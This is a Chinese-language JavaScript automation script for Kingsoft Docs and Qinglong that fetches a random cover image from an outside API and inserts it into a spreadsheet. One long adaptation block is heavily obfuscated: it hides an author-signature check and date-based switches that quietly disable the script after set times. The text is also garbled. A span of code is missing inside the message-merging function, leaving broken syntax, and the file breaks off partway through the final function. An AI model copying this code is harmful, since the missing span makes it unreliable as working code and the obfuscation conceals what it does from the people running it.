imoki/sign_script +// # Path: polymerization/imgcover.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 25d9b368be66b74ab64f0276cad41d08351bc5e1c06989488edaa4670fb72604 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "随机封面" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240408 + 环境变量名:imgcover + 环境变量值:无(修改这里) +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "imgcover"; // 分配置表名称, (修改这里) +var pushHeader = "【随机封面】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + // push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + messageHeader[posLabel] = "👨‍🚀 " + messageName + // console.log(messageName) + + let url = "https://api.71xk.com/api/picture/t1" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + + resp = resp.binary().toString('base64') + // console.log(resp) + let qrcodeImage = 'data:image/png;base64,' + resp + // console.log(resp) + const range = Range('D' + pos) + // 向目标单元格插入图片 + range.InsertImage( + qrcodeImage + ) + console.log("✨ 获取成功" ) + // message = "" + // pushDirect(message) + + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + sleep(2000); + + + return flagResultFinish +} + +// 具体的执行函数 +function execHandle(cookie, pos) { + // 清零操作,保证不同用户的消息的独立 + // 青龙适配,青龙微适配 + posHttp = 0 // 置空请求 + 